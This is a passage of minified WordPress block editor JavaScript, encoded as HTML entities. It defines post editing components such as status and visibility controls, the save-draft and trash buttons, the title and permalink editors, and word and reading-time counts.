h=({status:y=e,password:b=r,date:_=t})=&gt;{u(&quot;postType&quot;,n,o,{status:y,date:_,password:b})},g=y=&gt;{l(y),y||h({password:&quot;&quot;})},v=y=&gt;{let b=t,_=r;e===&quot;future&quot;&amp;&amp;new Date(t)&gt;new Date&amp;&amp;(b=null),y===&quot;private&quot;&amp;&amp;r&amp;&amp;(_=&quot;&quot;),h({status:y,date:b,password:_})};return(0,Xr.jsx)(ht,{label:(0,Et.__)(&quot;Status&quot;),ref:f,children:i?(0,Xr.jsx)(Vi.Dropdown,{className:&quot;editor-post-status&quot;,contentClassName:&quot;editor-change-status__content&quot;,popoverProps:m,focusOnMount:!0,renderToggle:({onToggle:y,isOpen:b})=&gt;(0,Xr.jsx)(Vi.Button,{className:&quot;editor-post-status__toggle&quot;,variant:&quot;tertiary&quot;,size:&quot;compact&quot;,onClick:y,icon:aP[e]?.icon,&quot;aria-label&quot;:(0,Et.sprintf)((0,Et.__)(&quot;Change status: %s&quot;),aP[e]?.label),&quot;aria-expanded&quot;:b,children:aP[e]?.label}),renderContent:({onClose:y})=&gt;(0,Xr.jsxs)(Xr.Fragment,{children:[(0,Xr.jsx)(vX.__experimentalInspectorPopoverHeader,{title:(0,Et.__)(&quot;Status &amp; visibility&quot;),onClose:y}),(0,Xr.jsx)(&quot;form&quot;,{onSubmit:b=&gt;{b.preventDefault(),y()},children:(0,Xr.jsxs)(Vi.__experimentalVStack,{spacing:4,children:[(0,Xr.jsx)(Vi.RadioControl,{className:&quot;editor-change-status__options&quot;,hideLabelFromVision:!0,label:(0,Et.__)(&quot;Status&quot;),options:v4,onChange:v,selected:e===&quot;auto-draft&quot;?&quot;draft&quot;:e}),e===&quot;future&quot;&amp;&amp;(0,Xr.jsx)(&quot;div&quot;,{className:&quot;editor-change-status__publish-date-wrapper&quot;,children:(0,Xr.jsx)(s4,{showPopoverHeaderActions:!1,isCompact:!0})}),e!==&quot;private&quot;&amp;&amp;(0,Xr.jsxs)(Vi.__experimentalVStack,{as:&quot;fieldset&quot;,spacing:4,className:&quot;editor-change-status__password-fieldset&quot;,children:[(0,Xr.jsx)(Vi.CheckboxControl,{label:(0,Et.__)(&quot;Password protected&quot;),help:(0,Et.__)(&quot;Only visible to those who know the password.&quot;),checked:a,onChange:g}),a&amp;&amp;(0,Xr.jsx)(&quot;div&quot;,{className:&quot;editor-change-status__password-input&quot;,children:(0,Xr.jsx)(Vi.TextControl,{label:(0,Et.__)(&quot;Password&quot;),onChange:b=&gt;h({password:b}),value:r,placeholder:(0,Et.__)(&quot;Use a secure password&quot;),type:&quot;text&quot;,id:c,__next40pxDefaultSize:!0,maxLength:255})})]}),(0,Xr.jsx)(sP,{})]})})]})}):(0,Xr.jsx)(&quot;div&quot;,{className:&quot;editor-post-status is-read-only&quot;,children:aP[e]?.label})})}var mP=s(C(),1);function pP({forceIsDirty:e}){let[t,r]=(0,fP.useState)(!1),o=(0,uP.useViewportMatch)(&quot;small&quot;),{isAutosaving:n,isDirty:i,isNew:a,isPublished:l,isSaveable:c,isSaving:u,isScheduled:d,hasPublishAction:f,showIconLabels:m,postStatus:h,postStatusHasChanged:g,postType:v}=(0,dP.useSelect)(L=&gt;{let{isEditedPostNew:M,isCurrentPostPublished:k,isCurrentPostScheduled:I,isEditedPostDirty:U,isSavingPost:G,isEditedPostSaveable:Y,getCurrentPost:Z,isAutosavingPost:V,getEditedPostAttribute:j,getPostEdits:H}=L(w),{get:X}=L(SX.store);return{isAutosaving:V(),isDirty:e||U(),isNew:M(),isPublished:k(),isSaving:G(),isSaveable:Y(),isScheduled:I(),hasPublishAction:Z()?._links?.[&quot;wp:action-publish&quot;]??!1,showIconLabels:X(&quot;core&quot;,&quot;showIconLabels&quot;),postStatus:j(&quot;status&quot;),postStatusHasChanged:!!H()?.status,postType:L(w).getCurrentPostType()}},[e]),y=h===&quot;pending&quot;,{savePost:b}=(0,dP.useDispatch)(w),_=(0,uP.usePrevious)(u);if((0,fP.useEffect)(()=&gt;{let L;return _&amp;&amp;!u&amp;&amp;(r(!0),L=setTimeout(()=&gt;{r(!1)},1e3)),()=&gt;clearTimeout(L)},[u]),v===ur||!f&amp;&amp;y)return null;let S=![&quot;pending&quot;,&quot;draft&quot;,&quot;auto-draft&quot;].includes(h)&amp;&amp;v4.map(({value:L})=&gt;L).includes(h);if(l||d||S||g&amp;&amp;[&quot;pending&quot;,&quot;draft&quot;].includes(h))return null;let x=y?(0,_m.__)(&quot;Save as pending&quot;):(0,_m.__)(&quot;Save draft&quot;),T=(0,_m.__)(&quot;Save&quot;),R=t||!a&amp;&amp;!i,F=u||R,B=u||R||!c,z;return u?z=n?(0,_m.__)(&quot;Autosaving&quot;):(0,_m.__)(&quot;Saving&quot;):R?z=(0,_m.__)(&quot;Saved&quot;):o?z=x:m&amp;&amp;(z=T),(0,mP.jsxs)(cP.Button,{className:c||u?re({&quot;editor-post-save-draft&quot;:!F,&quot;editor-post-saved-state&quot;:F,&quot;is-saving&quot;:u,&quot;is-autosaving&quot;:n,&quot;is-saved&quot;:R,[(0,cP.__unstableGetAnimateClassName)({type:&quot;loading&quot;})]:u}):void 0,onClick:B?void 0:()=&gt;b(),shortcut:B?void 0:bX.displayShortcut.primary(&quot;s&quot;),variant:&quot;tertiary&quot;,size:&quot;compact&quot;,icon:o?void 0:OR,label:z||x,&quot;aria-disabled&quot;:B,children:[F&amp;&amp;(0,mP.jsx)(No,{icon:R?Pi:NR}),z]})}var _X=s(O(),1);function hP({children:e}){return(0,_X.useSelect)(r=&gt;r(w).getCurrentPost()._links?.[&quot;wp:action-publish&quot;]??!1,[])?e:null}var gP=s(A(),1),ug=s(E(),1),vP=s(D(),1),wX=s(O(),1);var cg=s(C(),1);function yP(){let[e,t]=(0,vP.useState)(null),r=(0,wX.useSelect)(a=&gt;a(w).getCurrentPostType(),[]),o=(0,vP.useMemo)(()=&gt;({anchor:e,&quot;aria-label&quot;:(0,ug.__)(&quot;Change publish date&quot;),placement:&quot;left-start&quot;,offset:36,shift:!0}),[e]),n=ig(),i=ig({full:!0});return Jc.includes(r)?null:(0,cg.jsx)(hP,{children:(0,cg.jsx)(ht,{label:(0,ug.__)(&quot;Publish&quot;),ref:t,children:(0,cg.jsx)(gP.Dropdown,{popoverProps:o,focusOnMount:!0,className:&quot;editor-post-schedule__panel-dropdown&quot;,contentClassName:&quot;editor-post-schedule__dialog&quot;,renderToggle:({onToggle:a,isOpen:l})=&gt;(0,cg.jsx)(gP.Button,{size:&quot;compact&quot;,className:&quot;editor-post-schedule__dialog-toggle&quot;,variant:&quot;tertiary&quot;,tooltipPosition:&quot;middle left&quot;,onClick:a,&quot;aria-label&quot;:(0,ug.sprintf)((0,ug.__)(&quot;Change date: %s&quot;),n),label:i,showTooltip:n!==i,&quot;aria-expanded&quot;:l,children:n}),renderContent:({onClose:a})=&gt;(0,cg.jsx)(og,{onClose:a})})})})}var bP=s(A(),1),dg=s(E(),1),SP=s(O(),1),xX=s(D(),1),CX=s(Yi(),1);var wm=s(C(),1);function TX(){(0,CX.default)(&quot;wp.editor.PostSwitchToDraftButton&quot;,{since:&quot;6.7&quot;,version:&quot;6.9&quot;});let[e,t]=(0,xX.useState)(!1),{editPost:r,savePost:o}=(0,SP.useDispatch)(w),{isSaving:n,isPublished:i,isScheduled:a}=(0,SP.useSelect)(f=&gt;{let{isSavingPost:m,isCurrentPostPublished:h,isCurrentPostScheduled:g}=f(w);return{isSaving:m(),isPublished:h(),isScheduled:g()}},[]),l=n||!i&amp;&amp;!a,c,u;i?(c=(0,dg.__)(&quot;Are you sure you want to unpublish this post?&quot;),u=(0,dg.__)(&quot;Unpublish&quot;)):a&amp;&amp;(c=(0,dg.__)(&quot;Are you sure you want to unschedule this post?&quot;),u=(0,dg.__)(&quot;Unschedule&quot;));let d=()=&gt;{t(!1),r({status:&quot;draft&quot;}),o()};return(0,wm.jsxs)(wm.Fragment,{children:[(0,wm.jsx)(bP.Button,{__next40pxDefaultSize:!0,className:&quot;editor-post-switch-to-draft&quot;,onClick:()=&gt;{l||t(!0)},&quot;aria-disabled&quot;:l,variant:&quot;secondary&quot;,style:{flexGrow:&quot;1&quot;,justifyContent:&quot;center&quot;},children:(0,dg.__)(&quot;Switch to draft&quot;)}),(0,wm.jsx)(bP.__experimentalConfirmDialog,{isOpen:e,onConfirm:d,onCancel:()=&gt;t(!1),confirmButtonText:u,children:c})]})}var PX=s(O(),1),b0=s(E(),1);var b4=s(C(),1);function _P(){let{syncStatus:e,postType:t}=(0,PX.useSelect)(r=&gt;{let{getEditedPostAttribute:o}=r(w);return{syncStatus:o(&quot;meta&quot;)?.wp_pattern_sync_status===&quot;unsynced&quot;?&quot;unsynced&quot;:o(&quot;wp_pattern_sync_status&quot;),postType:o(&quot;type&quot;)}});return t!==&quot;wp_block&quot;?null:(0,b4.jsx)(ht,{label:(0,b0.__)(&quot;Sync status&quot;),children:(0,b4.jsx)(&quot;div&quot;,{className:&quot;editor-post-sync-status__value&quot;,children:e===&quot;unsynced&quot;?(0,b0._x)(&quot;Not synced&quot;,&quot;pattern (singular)&quot;):(0,b0._x)(&quot;Synced&quot;,&quot;pattern (singular)&quot;)})})}var kX=s(D(),1),EX=s(O(),1),RX=s(W(),1);var S4=s(C(),1),cTe=e=&gt;e;function uTe({taxonomyWrapper:e=cTe}){let{postType:t,taxonomies:r}=(0,EX.useSelect)(n=&gt;({postType:n(w).getCurrentPostType(),taxonomies:n(RX.store).getEntityRecords(&quot;root&quot;,&quot;taxonomy&quot;,{per_page:-1})}),[]);return(r??[]).filter(n=&gt;n.types.includes(t)&amp;&amp;n.visibility?.show_ui).map(n=&gt;{let i=n.hierarchical?KT:WT;return(0,S4.jsx)(kX.Fragment,{children:e((0,S4.jsx)(i,{slug:n.slug}),n)},`taxonomy-${n.slug}`)})}var fg=uTe;var AX=s(O(),1),OX=s(W(),1);function wP({children:e}){return(0,AX.useSelect)(r=&gt;{let o=r(w).getCurrentPostType();return r(OX.store).getEntityRecords(&quot;root&quot;,&quot;taxonomy&quot;,{per_page:-1})?.some(i=&gt;i.types.includes(o))},[])?e:null}var IX=s(A(),1),xP=s(O(),1);var S0=s(C(),1);function dTe({taxonomy:e,children:t}){let r=e?.slug,o=r?`taxonomy-panel-${r}`:&quot;&quot;,{isEnabled:n,isOpened:i}=(0,xP.useSelect)(c=&gt;{let{isEditorPanelEnabled:u,isEditorPanelOpened:d}=c(w);return{isEnabled:r?u(o):!1,isOpened:r?d(o):!1}},[o,r]),{toggleEditorPanelOpened:a}=(0,xP.useDispatch)(w);if(!n)return null;let l=e?.labels?.menu_name;return l?(0,S0.jsx)(IX.PanelBody,{title:l,opened:i,onToggle:()=&gt;a(o),children:t}):null}function CP(){return(0,S0.jsx)(wP,{children:(0,S0.jsx)(fg,{taxonomyWrapper:(e,t)=&gt;(0,S0.jsx)(dTe,{taxonomy:t,children:e})})})}var XX=s(x4(),1),C4=s(E(),1),T4=s(W(),1),QX=s(D(),1),JX=s(Xe(),1),EP=s(O(),1),$X=s(he(),1),eQ=s(A(),1);var xm=s(C(),1);function w0(){let e=(0,$X.useInstanceId)(w0),{content:t,blocks:r,type:o,id:n}=(0,EP.useSelect)(l=&gt;{let{getEditedEntityRecord:c}=l(T4.store),{getCurrentPostType:u,getCurrentPostId:d}=l(w),f=u(),m=d(),h=c(&quot;postType&quot;,f,m);return{content:h?.content,blocks:h?.blocks,type:f,id:m}},[]),{editEntityRecord:i}=(0,EP.useDispatch)(T4.store),a=(0,QX.useMemo)(()=&gt;t instanceof Function?t({blocks:r}):r?(0,JX.__unstableSerializeAndClean)(r):t,[t,r]);return(0,xm.jsxs)(xm.Fragment,{children:[(0,xm.jsx)(eQ.VisuallyHidden,{as:&quot;label&quot;,htmlFor:`post-content-${e}`,children:(0,C4.__)(&quot;Type text or HTML&quot;)}),(0,xm.jsx)(XX.default,{autoComplete:&quot;off&quot;,dir:&quot;auto&quot;,value:a,onChange:l=&gt;{i(&quot;postType&quot;,o,n,{content:l.target.value,blocks:void 0,selection:void 0})},className:&quot;editor-post-text-editor&quot;,id:`post-content-${e}`,placeholder:(0,C4.__)(&quot;Start writing with text or HTML&quot;)})]})}var rQ=s(E(),1),pg=s(D(),1),oQ=s(ft(),1),DP=s(O(),1),P4=s($(),1),nQ=s(yo(),1),iQ=s(Xe(),1),hg=s(Wy(),1),sQ=s(he(),1),k4=s(xh(),1);var RP=&quot;wp-block wp-block-post-title block-editor-block-list__block editor-post-title editor-post-title__input rich-text&quot;,AP=/[\r\n]+/g;var mg=s(D(),1),tQ=s(O(),1);function OP(e){let t=(0,mg.useRef)(),{isCleanNewPost:r}=(0,tQ.useSelect)(o=&gt;{let{isCleanNewPost:n}=o(w);return{isCleanNewPost:n()}},[]);return(0,mg.useImperativeHandle)(e,()=&gt;({focus:()=&gt;{t?.current?.focus()}})),(0,mg.useEffect)(()=&gt;{if(!t.current)return;let{defaultView:o}=t.current.ownerDocument,{name:n,parent:i}=o,a=n===&quot;editor-canvas&quot;?i.document:o.document,{activeElement:l,body:c}=a;r&amp;&amp;(!l||c===l)&amp;&amp;t.current.focus()},[r]),{ref:t}}var IP=s(O(),1);function NP(){let{editPost:e}=(0,IP.useDispatch)(w),{title:t}=(0,IP.useSelect)(o=&gt;{let{getEditedPostAttribute:n}=o(w);return{title:n(&quot;title&quot;)}},[]);function r(o){e({title:o})}return{title:t,setTitle:r}}var FP=s(C(),1),{useRichText:wTe}=N(hg.privateApis),xTe=(0,pg.forwardRef)((e,t)=&gt;{let{placeholder:r,isEditingContentOnlySection:o,isPreview:n}=(0,DP.useSelect)(M=&gt;{let{getSettings:k,getEditedContentOnlySection:I}=N(M(P4.store)),{titlePlaceholder:U,isPreviewMode:G}=k();return{placeholder:U,isEditingContentOnlySection:!!I(),isPreview:G}},[]),[i,a]=(0,pg.useState)(!1),{ref:l}=OP(t),{title:c,setTitle:u}=NP(),[d,f]=(0,pg.useState)({}),{clearSelectedBlock:m,insertBlocks:h,insertDefaultBlock:g}=(0,DP.useDispatch)(P4.store),v=(0,oQ.decodeEntities)(r)||(0,rQ.__)(&quot;Add title&quot;),{value:y,onChange:b,ref:_}=wTe({value:c,onChange(M){u(M.replace(AP,&quot; &quot;))},placeholder:v,selectionStart:d.start,selectionEnd:d.end,onSelectionChange(M,k){f(I=&gt;{let{start:U,end:G}=I;return U===M&amp;&amp;G===k?I:{start:M,end:k}})},__unstableDisableFormats:!1});function S(M){h(M,0)}function x(){a(!0),m()}function T(){a(!1),f({})}function R(){g(void 0,void 0,0)}function F(M){M.keyCode===nQ.ENTER&amp;&amp;(M.preventDefault(),R())}function B(M){let k=M.clipboardData,I=&quot;&quot;,U=&quot;&quot;;try{I=k.getData(&quot;text/plain&quot;),U=k.getData(&quot;text/html&quot;)}catch{return}let G=(0,iQ.pasteHandler)({HTML:U,plainText:I});if(M.preventDefault(),!!G.length)if(typeof G!=&quot;string&quot;){let[Y]=G;if(!c&amp;&amp;(Y.name===&quot;core/heading&quot;||Y.name===&quot;core/paragraph&quot;)){let Z=(0,k4.__unstableStripHTML)(Y.attributes.content);u(Z),S(G.slice(1))}else S(G)}else{let Y=(0,k4.__unstableStripHTML)(G);b((0,hg.insert)(y,(0,hg.create)({html:Y})))}}let z=re(RP,{&quot;is-selected&quot;:i}),L=o?{opacity:.2}:void 0;return(0,FP.jsx)(&quot;h1&quot;,{ref:(0,sQ.useMergeRefs)([_,l]),contentEditable:!o&amp;&amp;!n,className:z,&quot;aria-label&quot;:v,role:&quot;textbox&quot;,&quot;aria-multiline&quot;:&quot;true&quot;,onFocus:x,onBlur:T,onKeyDown:F,onPaste:B,style:L})}),BP=(0,pg.forwardRef)((e,t)=&gt;(0,FP.jsx)(tr,{supportKeys:&quot;title&quot;,children:(0,FP.jsx)(xTe,{ref:t})}));var aQ=s(A(),1),lQ=s(E(),1),cQ=s(ft(),1),uQ=s(O(),1),dQ=s($(),1),MP=s(D(),1);var fQ=s(C(),1);function CTe(e,t){let{placeholder:r}=(0,uQ.useSelect)(h=&gt;{let{getSettings:g}=h(dQ.store),{titlePlaceholder:v}=g();return{placeholder:v}},[]),[o,n]=(0,MP.useState)(!1),{title:i,setTitle:a}=NP(),{ref:l}=OP(t);function c(h){a(h.replace(AP,&quot; &quot;))}function u(){n(!0)}function d(){n(!1)}let f=re(RP,{&quot;is-selected&quot;:o,&quot;is-raw-text&quot;:!0}),m=(0,cQ.decodeEntities)(r)||(0,lQ.__)(&quot;Add title&quot;);return(0,fQ.jsx)(aQ.TextareaControl,{ref:l,value:i,onChange:c,onFocus:u,onBlur:d,label:r,className:f,placeholder:m,hideLabelFromVision:!0,autoComplete:&quot;off&quot;,dir:&quot;auto&quot;,rows:1})}var LP=(0,MP.forwardRef)(CTe);var gg=s(E(),1),jP=s(A(),1),vg=s(O(),1),hQ=s(D(),1);var mQ=s(O(),1),pQ=s(W(),1);function VP({children:e}){let{canTrashPost:t}=(0,mQ.useSelect)(r=&gt;{let{isEditedPostNew:o,getCurrentPostId:n,getCurrentPostType:i}=r(w),{canUser:a}=r(pQ.store),l=i(),c=n(),u=o(),d=c?a(&quot;delete&quot;,{kind:&quot;postType&quot;,name:l,id:c}):!1;return{canTrashPost:(!u||c)&amp;&amp;d&amp;&amp;!qF.includes(l)}},[]);return t?e:null}var x0=s(C(),1);function zP({onActionPerformed:e}){let t=(0,vg.useRegistry)(),{isNew:r,isDeleting:o,postId:n,title:i}=(0,vg.useSelect)(d=&gt;{let f=d(w);return{isNew:f.isEditedPostNew(),isDeleting:f.isDeletingPost(),postId:f.getCurrentPostId(),title:f.getCurrentPostAttribute(&quot;title&quot;)}},[]),{trashPost:a}=(0,vg.useDispatch)(w),[l,c]=(0,hQ.useState)(!1);if(r||!n)return null;let u=async()=&gt;{c(!1),await a();let d=await t.resolveSelect(w).getCurrentPost();e?.(&quot;move-to-trash&quot;,[d])};return(0,x0.jsxs)(VP,{children:[(0,x0.jsx)(jP.Button,{__next40pxDefaultSize:!0,className:&quot;editor-post-trash&quot;,isDestructive:!0,variant:&quot;secondary&quot;,isBusy:o,&quot;aria-disabled&quot;:o,onClick:o?void 0:()=&gt;c(!0),children:(0,gg.__)(&quot;Move to trash&quot;)}),(0,x0.jsx)(jP.__experimentalConfirmDialog,{isOpen:l,onConfirm:u,onCancel:()=&gt;c(!1),confirmButtonText:(0,gg.__)(&quot;Move to trash&quot;),size:&quot;small&quot;,children:(0,gg.sprintf)((0,gg.__)(&#039;Are you sure you want to move &quot;%s&quot; to the trash?&#039;),i)})]})}var C0=s(O(),1),T0=s(Ir(),1),UP=s(D(),1),gQ=s($(),1),Cm=s(E(),1),di=s(A(),1),vQ=s(ct(),1);var yQ=s(W(),1),HP=s(he(),1);var hr=s(C(),1);function P0({onClose:e}){let{isEditable:t,postSlug:r,postLink:o,permalinkPrefix:n,permalinkSuffix:i,permalink:a}=(0,C0.useSelect)(h=&gt;{let g=h(w).getCurrentPost(),v=h(w).getCurrentPostType(),y=h(yQ.store).getPostType(v),b=h(w).getPermalinkParts(),_=g?._links?.[&quot;wp:action-publish&quot;]??!1;return{isEditable:h(w).isPermalinkEditable()&amp;&amp;_,postSlug:(0,T0.safeDecodeURIComponent)(h(w).getEditedPostSlug()),viewPostLabel:y?.labels.view_item,postLink:g.link,permalinkPrefix:b?.prefix,permalinkSuffix:b?.suffix,permalink:(0,T0.safeDecodeURIComponent)(h(w).getPermalink())}},[]),{editPost:l}=(0,C0.useDispatch)(w),{createNotice:c}=(0,C0.useDispatch)(vQ.store),[u,d]=(0,UP.useState)(!1),f=(0,HP.useCopyToClipboard)(a,()=&gt;{c(&quot;info&quot;,(0,Cm.__)(&quot;Copied Permalink to clipboard.&quot;),{isDismissible:!0,type:&quot;snackbar&quot;})}),m=&quot;editor-post-url__slug-description-&quot;+(0,HP.useInstanceId)(P0);return(0,hr.jsxs)(&quot;div&quot;,{className:&quot;editor-post-url&quot;,children:[(0,hr.jsx)(gQ.__experimentalInspectorPopoverHeader,{title:(0,Cm.__)(&quot;Slug&quot;),onClose:e}),(0,hr.jsxs)(di.__experimentalVStack,{spacing:3,children:[t&amp;&amp;(0,hr.jsx)(&quot;p&quot;,{className:&quot;editor-post-url__intro&quot;,children:(0,UP.createInterpolateElement)((0,Cm.__)(&quot;&lt;span&gt;Customize the last part of the Permalink.&lt;/span&gt; &lt;a&gt;Learn more.&lt;/a&gt;&quot;),{span:(0,hr.jsx)(&quot;span&quot;,{id:m}),a:(0,hr.jsx)(di.ExternalLink,{href:(0,Cm.__)(&quot;https://wordpress.org/documentation/article/page-post-settings-sidebar/#permalink&quot;)})})}),(0,hr.jsxs)(&quot;div&quot;,{children:[t&amp;&amp;(0,hr.jsxs)(hr.Fragment,{children:[(0,hr.jsx)(di.__experimentalInputControl,{__next40pxDefaultSize:!0,prefix:(0,hr.jsx)(di.__experimentalInputControlPrefixWrapper,{children:&quot;/&quot;}),suffix:(0,hr.jsx)(di.__experimentalInputControlSuffixWrapper,{variant:&quot;control&quot;,children:(0,hr.jsx)(di.Button,{icon:kv,ref:f,size:&quot;small&quot;,label:&quot;Copy&quot;})}),label:(0,Cm.__)(&quot;Slug&quot;),hideLabelFromVision:!0,value:u?&quot;&quot;:r,autoComplete:&quot;off&quot;,spellCheck:&quot;false&quot;,type:&quot;text&quot;,className:&quot;editor-post-url__input&quot;,onChange:h=&gt;{if(l({slug:h}),!h){u||d(!0);return}u&amp;&amp;d(!1)},onBlur:h=&gt;{l({slug:(0,T0.cleanForSlug)(h.target.value)}),u&amp;&amp;d(!1)},&quot;aria-describedby&quot;:m}),(0,hr.jsxs)(&quot;p&quot;,{className:&quot;editor-post-url__permalink&quot;,children:[(0,hr.jsx)(&quot;span&quot;,{className:&quot;editor-post-url__permalink-visual-label&quot;,children:(0,Cm.__)(&quot;Permalink:&quot;)}),(0,hr.jsxs)(di.ExternalLink,{className:&quot;editor-post-url__link&quot;,href:o,target:&quot;_blank&quot;,children:[(0,hr.jsx)(&quot;span&quot;,{className:&quot;editor-post-url__link-prefix&quot;,children:n}),(0,hr.jsx)(&quot;span&quot;,{className:&quot;editor-post-url__link-slug&quot;,children:r}),(0,hr.jsx)(&quot;span&quot;,{className:&quot;editor-post-url__link-suffix&quot;,children:i})]})]})]}),!t&amp;&amp;(0,hr.jsx)(di.ExternalLink,{className:&quot;editor-post-url__link&quot;,href:o,target:&quot;_blank&quot;,children:o})]})]})]})}var bQ=s(O(),1),SQ=s(W(),1);function GP({children:e}){return(0,bQ.useSelect)(r=&gt;{let o=r(w).getCurrentPostType();return!(!r(SQ.store).getPostType(o)?.viewable||!r(w).getCurrentPost().link||!r(w).getPermalinkParts())},[])?e:null}var _Q=s(O(),1),WP=s(Ir(),1);function wQ(){return E4()}function E4(){let e=(0,_Q.useSelect)(t=&gt;t(w).getPermalink(),[]);return(0,WP.filterURLForDisplay)((0,WP.safeDecodeURIComponent)(e))}var YP=s(D(),1),qP=s(O(),1),bg=s(A(),1),yg=s(E(),1),xQ=s(Ir(),1),CQ=s(W(),1);var ji=s(C(),1);function ZP(){let{isFrontPage:e}=(0,qP.useSelect)(i=&gt;{let{getCurrentPostId:a}=i(w),{getEditedEntityRecord:l,canUser:c}=i(CQ.store),u=c(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?l(&quot;root&quot;,&quot;site&quot;):void 0,d=a();return{isFrontPage:u?.page_on_front===d}},[]),[t,r]=(0,YP.useState)(null),o=(0,YP.useMemo)(()=&gt;({anchor:t,placement:&quot;left-start&quot;,offset:36,shift:!0}),[t]),n=e?(0,yg.__)(&quot;Link&quot;):(0,yg.__)(&quot;Slug&quot;);return(0,ji.jsx)(GP,{children:(0,ji.jsxs)(ht,{label:n,ref:r,children:[!e&amp;&amp;(0,ji.jsx)(bg.Dropdown,{popoverProps:o,className:&quot;editor-post-url__panel-dropdown&quot;,contentClassName:&quot;editor-post-url__panel-dialog&quot;,focusOnMount:!0,renderToggle:({isOpen:i,onToggle:a})=&gt;(0,ji.jsx)(TTe,{isOpen:i,onClick:a}),renderContent:({onClose:i})=&gt;(0,ji.jsx)(P0,{onClose:i})}),e&amp;&amp;(0,ji.jsx)(PTe,{})]})})}function TTe({isOpen:e,onClick:t}){let{slug:r}=(0,qP.useSelect)(n=&gt;({slug:n(w).getEditedPostSlug()}),[]),o=(0,xQ.safeDecodeURIComponent)(r);return(0,ji.jsx)(bg.Button,{size:&quot;compact&quot;,className:&quot;editor-post-url__panel-toggle&quot;,variant:&quot;tertiary&quot;,&quot;aria-expanded&quot;:e,&quot;aria-label&quot;:(0,yg.sprintf)((0,yg.__)(&quot;Change link: %s&quot;),o),onClick:t,children:(0,ji.jsx)(ji.Fragment,{children:o})})}function PTe(){let{postLink:e}=(0,qP.useSelect)(t=&gt;{let{getCurrentPost:r}=t(w);return{postLink:r()?.link}},[]);return(0,ji.jsx)(bg.ExternalLink,{className:&quot;editor-post-url__front-page-link&quot;,href:e,target:&quot;_blank&quot;,children:e})}var TQ=s(O(),1);function PQ({render:e}){let t=(0,TQ.useSelect)(r=&gt;r(w).getCurrentPost()._links?.[&quot;wp:action-publish&quot;]??!1);return e({canEdit:t})}var VQ=s(E(),1),QP=s(A(),1),jQ=s(O(),1);var zQ=s(D(),1),UQ=s($(),1);var kc=s(E(),1),BQ=s(O(),1),MQ=s($(),1);var EQ=s(O(),1),RQ=s(E(),1),AQ=s(k0(),1);var OQ=s(C(),1);function Sg(){let e=(0,EQ.useSelect)(r=&gt;r(w).getEditedPostAttribute(&quot;content&quot;),[]),t=(0,RQ._x)(&quot;words&quot;,&quot;Word count type. Do not translate!&quot;);return(0,OQ.jsx)(&quot;span&quot;,{className:&quot;word-count&quot;,children:(0,AQ.count)(e,t)})}var IQ=s(O(),1),ad=s(E(),1),NQ=s(k0(),1),R4=s(D(),1);var KP=s(C(),1),kTe=189;function _g(){let e=(0,IQ.useSelect)(n=&gt;n(w).getEditedPostAttribute(&quot;content&quot;),[]),t=(0,ad._x)(&quot;words&quot;,&quot;Word count type. Do not translate!&quot;),r=Math.round((0,NQ.count)(e,t)/kTe),o=r===0?(0,R4.createInterpolateElement)((0,ad.__)(&quot;&lt;span&gt;&lt; 1&lt;/span&gt; minute&quot;),{span:(0,KP.jsx)(&quot;span&quot;,{})}):(0,R4.createInterpolateElement)((0,ad.sprintf)((0,ad._n)(&quot;&lt;span&gt;%s&lt;/span&gt; minute&quot;,&quot;&lt;span&gt;%s&lt;/span&gt; minutes&quot;,r),r),{span:(0,KP.jsx)(&quot;span&quot;,{})});return(0,KP.jsx)(&quot;span&quot;,{className:&quot;time-to-read&quot;,children:o})}var FQ=s(O(),1),DQ=s(k0(),1);function wg(){let e=(0,FQ.useSelect)(t=&gt;t(w).getEditedPostAttribute(&quot;content&quot;),[]);return(0,DQ.count)(e,&quot;characters_including_spaces&quot;)}var Xt=s(C(),1);function ETe({hasOutlineItemsDisabled:e,onRequestClose:t}){let{headingCount:r,paragraphCount:o,numberOfBlocks:n}=(0,BQ.useSelect)(i=&gt;{let{getGlobalBlockCount:a}=i(MQ.store);return{headingCount:a(&quot;core/heading&quot;),paragraphCount:a(&quot;core/paragraph&quot;),numberOfBlocks:a()}},[]);return(0,Xt.jsxs)(Xt.Fragment,{children:[(0,Xt.jsx)(&quot;div&quot;,{className:&quot;table-of-contents__wrapper&quot;,role:&quot;note&quot;,&quot;aria-label&quot;:(0,kc.__)(&quot;Document Statistics&quot;),tabIndex:&quot;0&quot;,children:(0,Xt.jsxs)(&quot;ul&quot;,{role:&quot;list&quot;,className:&quot;table-of-contents__counts&quot;,children:[(0,Xt.jsxs)(&quot;li&quot;,{className:&quot;table-of-contents__count&quot;,children:[(0,kc.__)(&quot;Words&quot;),(0,Xt.jsx)(Sg,{})]}),(0,Xt.jsxs)(&quot;li&quot;,{className:&quot;table-of-contents__count&quot;,children:[(0,kc.__)(&quot;Characters&quot;),(0,Xt.jsx)(&quot;span&quot;,{className:&quot;table-of-contents__number&quot;,children:(0,Xt.jsx)(wg,{})})]}),(0,Xt.jsxs)(&quot;li&quot;,{className:&quot;table-of-contents__count&quot;,children:[(0,kc.__)(&quot;Time to read&quot;),(0,Xt.jsx)(_g,{})]}),(0,Xt.jsxs)(&quot;li&quot;,{className:&quot;table-of-contents__count&quot;,children:[(0,kc.__)(&quot;Headings&quot;),(0,Xt.jsx)(&quot;span&quot;,{className:&quot;table-of-contents__number&quot;,children:r})]}),(0,Xt.jsxs)(&quot;li&quot;,{className:&quot;table-of-contents__count&quot;,children:[(0,kc.__)(&quot;Paragraphs&quot;),(0,Xt.jsx)(&quot;span&quot;,{className:&quot;table-of-contents__number&quot;,children:o})]}),(0,Xt.jsxs)(&quot;li&quot;,{className:&quot;table-of-contents__count&quot;,children:[(0,kc.__)(&quot;Blocks&quot;),(0,Xt.jsx)(&quot;span&quot;,{className:&quot;table-of-contents__number&quot;,children:n})]})]})}),r&gt;0&amp;&amp;(0,Xt.jsxs)(Xt.Fragment,{children:[(0,Xt.jsx)(&quot;hr&quot;,{}),(0,Xt.jsx)(&quot;h2&quot;,{className:&quot;table-of-contents__title&quot;,children:(0,kc.__)(&quot;Document Outline&quot;)}),(0,Xt.jsx)(Ah,{onSelect:t,hasOutlineItemsDisabled:e})]})]})}var LQ=ETe;var XP=s(C(),1);function RTe({hasOutlineItemsDisabled:e,repositionDropdown:t,...r},o){let 